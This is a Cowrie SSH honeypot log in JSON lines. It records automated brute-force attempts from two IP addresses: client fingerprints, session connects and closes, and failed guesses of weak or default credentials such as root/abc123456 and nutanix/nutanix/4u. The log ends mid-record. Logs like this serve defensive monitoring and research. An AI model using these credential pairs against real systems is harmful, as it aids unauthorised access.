{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:11.730165Z","src_ip":"192.109.200.78","session":"ea7aa6179d99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:11.812085Z","src_ip":"192.109.200.78","session":"ea7aa6179d99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:12.064903Z","src_ip":"192.109.200.78","session":"ea7aa6179d99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34660,"dst_ip":"159.203.135.109","dst_port":22,"session":"c259305b7dd7","protocol":"ssh","message":"New connection: 176.65.139.95:34660 (159.203.135.109:22) [session: c259305b7dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:12.401520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:12.406615Z","src_ip":"176.65.139.95","session":"c259305b7dd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:12.495040Z","src_ip":"176.65.139.95","session":"c259305b7dd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:13.148824Z","src_ip":"192.109.200.78","session":"ea7aa6179d99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:13.219028Z","src_ip":"176.65.139.95","session":"c259305b7dd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:14.320921Z","src_ip":"176.65.139.95","session":"c259305b7dd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34784,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9f12a2daa2b","protocol":"ssh","message":"New connection: 192.109.200.78:34784 (159.203.135.109:22) [session: c9f12a2daa2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:14.855614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:14.860646Z","src_ip":"192.109.200.78","session":"c9f12a2daa2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:14.942946Z","src_ip":"192.109.200.78","session":"c9f12a2daa2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:15.191648Z","src_ip":"192.109.200.78","session":"c9f12a2daa2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:16.560364Z","src_ip":"192.109.200.78","session":"c9f12a2daa2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34662,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5ba0e61b000","protocol":"ssh","message":"New connection: 176.65.139.95:34662 (159.203.135.109:22) [session: b5ba0e61b000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:18.451894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:18.460536Z","src_ip":"176.65.139.95","session":"b5ba0e61b000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:18.559874Z","src_ip":"176.65.139.95","session":"b5ba0e61b000","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:19.138676Z","src_ip":"176.65.139.95","session":"b5ba0e61b000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36418,"dst_ip":"159.203.135.109","dst_port":22,"session":"66f05723be0a","protocol":"ssh","message":"New connection: 192.109.200.78:36418 (159.203.135.109:22) [session: 66f05723be0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:19.228387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:19.233727Z","src_ip":"192.109.200.78","session":"66f05723be0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:19.318460Z","src_ip":"192.109.200.78","session":"66f05723be0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:19.567075Z","src_ip":"192.109.200.78","session":"66f05723be0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:20.259673Z","src_ip":"176.65.139.95","session":"b5ba0e61b000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:20.748873Z","src_ip":"192.109.200.78","session":"66f05723be0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36438,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a081f866d5f","protocol":"ssh","message":"New connection: 192.109.200.78:36438 (159.203.135.109:22) [session: 3a081f866d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:23.447133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:23.454556Z","src_ip":"192.109.200.78","session":"3a081f866d5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:23.536768Z","src_ip":"192.109.200.78","session":"3a081f866d5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:23.791915Z","src_ip":"192.109.200.78","session":"3a081f866d5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35852,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad6afcdf846f","protocol":"ssh","message":"New connection: 176.65.139.95:35852 (159.203.135.109:22) [session: ad6afcdf846f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:24.627767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:24.656501Z","src_ip":"176.65.139.95","session":"ad6afcdf846f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:24.742560Z","src_ip":"176.65.139.95","session":"ad6afcdf846f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:24.877974Z","src_ip":"192.109.200.78","session":"3a081f866d5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:25.142637Z","src_ip":"176.65.139.95","session":"ad6afcdf846f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:26.244324Z","src_ip":"176.65.139.95","session":"ad6afcdf846f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36462,"dst_ip":"159.203.135.109","dst_port":22,"session":"dae16da3f4e4","protocol":"ssh","message":"New connection: 192.109.200.78:36462 (159.203.135.109:22) [session: dae16da3f4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:27.532172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:27.536681Z","src_ip":"192.109.200.78","session":"dae16da3f4e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:27.660442Z","src_ip":"192.109.200.78","session":"dae16da3f4e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:27.911984Z","src_ip":"192.109.200.78","session":"dae16da3f4e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:29.009256Z","src_ip":"192.109.200.78","session":"dae16da3f4e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44652,"dst_ip":"159.203.135.109","dst_port":22,"session":"dacdeaeb0cc0","protocol":"ssh","message":"New connection: 176.65.139.95:44652 (159.203.135.109:22) [session: dacdeaeb0cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:30.672223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:30.689370Z","src_ip":"176.65.139.95","session":"dacdeaeb0cc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-p